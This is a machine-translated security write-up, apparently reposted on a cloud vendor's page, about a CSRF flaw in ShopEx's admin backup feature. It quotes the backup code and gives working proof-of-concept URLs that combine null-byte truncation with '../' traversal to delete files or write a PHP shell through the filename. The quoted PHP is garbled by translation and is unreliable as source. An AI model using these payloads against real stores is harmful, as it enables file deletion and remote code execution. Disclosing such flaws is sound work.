Shopex csrf remove pants Arbitrary File delete file write shell

Source: Internet
Author: User

Shopex csrf remove pants Arbitrary File delete file write shell

Shopex csrf remove pants Arbitrary File delete file write shell

All vulnerabilities are caused by a csrf. Let's take a look at them one by one:



Install shopex in the latest version:






 

Ctl. backup. php: function backup () {if (constant ('saas _ mode') {exit;} header ("Content-type: text/html; charset = UTF-8 "); $ params ['sizeliconmit '] = 1024; $ params ['filename'] = ($ _ GET ["filename"] = "")? Date ("YmdHis", time (): $ _ GET ["filename"]; $ params ['fileid'] = ($ _ GET ["fileid"] = "")? "0": intval ($ _ GET ["fileid"]); $ params ['tableid'] = ($ _ GET ["tableid"] = "")? "0": intval ($ _ GET ["tableid"]); $ params ['startid'] = ($ _ GET ["startid"] = "")? "-1": intval ($ _ GET ["startid"]); if ($ params ['sizelimmit ']! = "") {$ OBackup = & $ this-> system-> loadModel ('System/backup'); if (! $ OBackup-> startBackup ($ params, $ nexturl) {echo _ ('backing up 11 '). ($ params ['fileid'] + 2 ). _ ('Volume. do not perform other page operations. '). '<Script> runbackup ("'. $ nexturl. '") </script>';} else {$ this-> system-> setConf ('System. last_backup ', time (), true); echo "<a href = 'index. php? Ctl = system/sfile & act = getDB & p [0] = multibak _ {$ params ['filename']}. tgz 'target = '_ blank'> after the backup is complete, click here to download </a> ";}}} and follow startBackuppublic function startBackup ($ params, & $ nexturl) {set_time_limit (0); header ("Content-type: text/html; charset = UTF-8"); $ sizelimit = $ params ['sizelimit ']; $ filename = $ params ['filename']; $ fileid = $ params ['fileid']; $ tableid = $ params ['tableid']; $ startid = $ params ['startid']; include_o Nce (CORE_DIR. "/lib/mysqldumper. class. php "); $ dumper = new Mysqldumper (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME); $ dumper-> setDroptables (true); $ dumper-> tableid = $ tableid; $ dumper-> startid = $ startid; $ backdir = HOME_DIR. "/backup"; $ finished = $ dumper-> multiDump ($ filename, $ fileid, $ sizelimit, $ backdir); ++ $ fileid; if (! $ Finished) {$ nexturl = "index. php? Ctl = system/backup & act = backup & sizelimit = {$ sizelimit} & filename = {$ filename} & fileid = {$ fileid} & tableid = ". $ dumper-> tableid. "& startid = ". $ dumper-> startid;} else {$ dir = HOME_DIR. "/backup"; $ tar = & $ this-> system-> loadModel ("utility/tar"); chdir ($ dir); $ I = 1; (; $ I <= $ fileid; ++ $ I) {$ tar-> addFile ("multibak _". $ filename. "_". $ I. ". SQL ") ;}$ verInfo = $ this-> system-> version (); $ backupdata ['app'] = $ verInfo [' App ']; $ backupdata ['Rev'] = $ verInfo ['Rev ']; $ backupdata ['vols'] = $ fileid; $ xml = & $ this-> system-> loadModel ("utility/xml"); $ xmldata = $ xml-> array2xml ($ backupdata, "backup "); file_put_contents ("archive. xml ", $ xmldata); $ tar-> addFile (" archive. xml "); $ tar-> filename =" multibak _". $ filename. ". tgz "; $ tar-> saveTar (); $ I = 1; for (; $ I <= $ fileid; ++ $ I) {@ unlink (@ "multibak _". $ filename. "_". $ I. ". SQL ");} @ Unlink ("archive. xml ");} return $ finished;} follow up multiDumpfunction multiDump ($ filename, $ fileid, $ sizelimit, $ backdir, $ ignoreList = null) {// Set line feed $ ret = true; $ lf = "\ r \ n"; $ lencount = 0; $ bakfile = $ backdir. "/multibak _". $ filename. "_". ($ fileid + 1 ). ". SQL "; if ($ ignoreList) {$ ignoreList = array_flip ($ ignoreList);} $ fw = @ fopen ($ bakfile," wb "); if (! $ Fw) exit ("Backup Directory {$ backdir} cannot be written"); $ resource = mysql_connect ($ this-> getHost (), $ this-> getDBuser (), $ this-> getDBpassword (), true); mysql_select_db ($ this-> getDbname (), $ resource); if (! Constant ("DB_OLDVERSION") mysql_query ("set names '". MYSQL_CHARSET_NAME. "'", $ resource); $ result = mysql_query ("show tables"); $ tables = $ this-> result2Array (0, $ result ); $ filter_tables = array (DB_PREFIX. "op_sessions", DB_PREFIX. "operators", DB_PREFIX. "admin_roles"); foreach ($ tables as $ tblval) {if (substr ($ tblval, 0, strlen (DB_PREFIX) = DB_PREFIX &&! In_array ($ tblval, $ filter_tables) {$ tablearr [] = $ tblval ;}// Set headerfwrite ($ fw ,"#". $ lf); fwrite ($ fw, "# shopex SQL MultiVolumn Dump ID :". ($ fileid + 1 ). $ lf); fwrite ($ fw, "# Version ". $ GLOBALS ['shopex _ THIS_VERSION ']. $ lf); fwrite ($ fw ,"#". $ lf); fwrite ($ fw, "# Host :". $ this-> getHost (). $ lf); fwrite ($ fw, "# Server version :". mysql_get_server_info (). $ lf); fwrite ($ fw, "# PHP Version :". phpvers Ion (). $ lf); fwrite ($ fw, "# Database :'". $ this-> getDBname (). "'". $ lf); fwrite ($ fw, "#"); // Generate dumptext for the tables. $ I = 0; for ($ j = $ this-> tableid; $ j <count ($ tablearr); $ j ++) {$ tblval = $ tablearr [$ j]; $ table_prefix = constant ('db _ prefix'); $ subname = substr ($ tblval, strlen ($ table_prefix )); $ written_tbname = '{shopexdump_table_prefix }'. $ subname; if ($ this-> startid =-1) {fwrite ($ fw, $ lf. $ lf. "#- -------------------------------------------------------". $ Lf. $ lf); $ lencount + = strlen ($ lf. $ lf. "#--------------------------------------------------------". $ lf. $ lf); fwrite ($ fw ,"#". $ lf. "# Table structure for table '$ tblval '". $ lf); $ lencount + = strlen ("#". $ lf. "# Table structure for table '$ tblval '". $ lf); fwrite ($ fw ,"#". $ lf. $ lf); $ lencount + = strlen ("#". $ lf. "# Table structu Re for table '$ tblval '". $ lf); // Generate drop table statement when client wants it. mysql_query ("alter table '$ tblval 'comment'"); if ($ this-> isDroptables () {fwrite ($ fw, "drop table if exists '$ written_tbname ';". $ lf); $ lencount + = strlen ("drop table if exists '$ written_tbname ';". $ lf) ;}$ result = mysql_query ("show create table '$ tblval'"); $ createtable = $ this-> result2Array (1, $ result); $ tmp_v Alue = str_replace ("\ n", '', $ this-> formatcreate ($ createtable [0]); $ pos = strpos ($ tmp_value, $ tblval ); $ tmp_value = substr ($ tmp_value, 0, $ pos ). $ written_tbname.substr ($ tmp_value, $ pos + strlen ($ tblval); fwrite ($ fw, $ tmp_value. $ lf. $ lf); $ lencount + = strlen ($ tmp_value. $ lf. $ lf); $ this-> startid = 0;} if ($ lencount> $ sizelimit * 1000) {$ this-> tableid = $ j; $ this-> startid = 0; $ ret = false; break;} if (isset ($ ignoreList ['Sdb _'. $ subname]) {$ this-> startid =-1; continue;} fwrite ($ fw ,"#". $ lf. "# Dumping data for table '$ tblval '". $ lf. "#". $ lf); $ lencount + = strlen ("#". $ lf. "# Dumping data for table '$ tblval '". $ lf. "#". $ lf); $ result = mysql_query ("SELECT * FROM '$ tblval'"); if (! @ Mysql_data_seek ($ result, $ this-> startid) {$ this-> startid =-1; continue;} while ($ row = mysql_fetch_object ($ result )) {$ insertdump = $ lf; $ insertdump. = "insert into '$ written_tbname' VALUES ("; $ arr = $ this-> object2Array ($ row); foreach ($ arr as $ key => $ value) {if (! Is_null ($ value) {$ value = $ this-> utftrim (mysql_escape_string ($ value); $ insertdump. = "'$ value',";} else $ insertdump. = "NULL," ;}$ insertline = rtrim ($ insertdump ,','). ");"; fwrite ($ fw, $ insertline); $ lencount + = strlen ($ insertline); $ this-> startid ++; if ($ lencount> $ sizelimit * 1000) {$ ret = false; $ this-> tableid = $ j; break 2 ;}$ this-> startid =-1; $ I ++; // if ($ I = 5) break;} mysql_close ($ resource); fclose ($ fw); chmod ($ bakfile, 0666 ); return $ ret ;}

From the entire process letter, there are the following issues

1. $ finished = $ dumper-> multiDump ($ filename, $ fileid, $ sizelimit, $ backdir );

After direct post, filename is not processed and the file is stored. Of course, a suffix of tgz will be added after $ filename.

The problem arises. % 00 is not filtered.

How to traverse directories, for example

If path:/a/B/c/g. php

So this traversal is also possible/a/B/c/g. php /../../

So we can back up a file and then traverse the directory to any place, so that no error will be reported.

2. if the backup fails, run @ unlink (@ "multibak _". $ filename. "_". $ I. ". SQL ");, there is a problem here, the filename here can be fully controlled, and % 00 can be truncated

3. $ tar-> addFile ("multibak _". $ filename. "_". $ I. ". SQL "); this code will add this file name to the beginning of the file, so the problem arises.

If the file name is <? Php phpinfo ()?>, Is there any php code in the file? After file truncation and directory traversal are added, we can generate a shellcode under any writable directory. There is actually a problem to be solved here, in windows, file names cannot contain such characters as <>. Therefore, the system exists in linux, and most shopex is built on the liunx system, this worry can be ruled out

Start test:

GET File pants:

Administrator login:

Url:

Http: // localhost/shopex/shopadmin/index. php? Ctl = system/backup & act = backup & sizelimit = 1024 & filename = 20141203094227.tgz /.. /.. /.. /.. /.. /.. /.. /.. /.. /aaa. php % 00 & fileid = 1 & tableid = 99 & startid = 142

Because my website is built under windows, a aaa. php file is directly created under d:


This is a GET-type csrf. How to trigger it is very simple. No matter whether you use an image or something else, it will be nice if you don't know it.

What I want to say is to see the content in it. Now it's exactly the same as what I analyzed.

Because it is in windows, when you send:
 


This is because of this Code:

$ Fw = @ fopen ($ bakfile, "wb ");

If (! $ Fw) exit ("Backup Directory {$ backdir} cannot be written ");

Because windows does not support <> and other files, we can move this code to the linux environment to see if the file can be worn.
 


If we set up shope under linux to send the same url:

Http: // localhost/shopex/shopadmin/index. php? Ctl = system/backup & act = backup & sizelimit = 1024 & filename = 20141203094227.tgz /.. /.. /.. /.. /.. /.. /.. /.. /.. /<? Php phpinfo ()?>. Php % 00 & fileid = 1 & tableid = 99 & startid = 142
 

Solution:

Enhanced Filtering
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.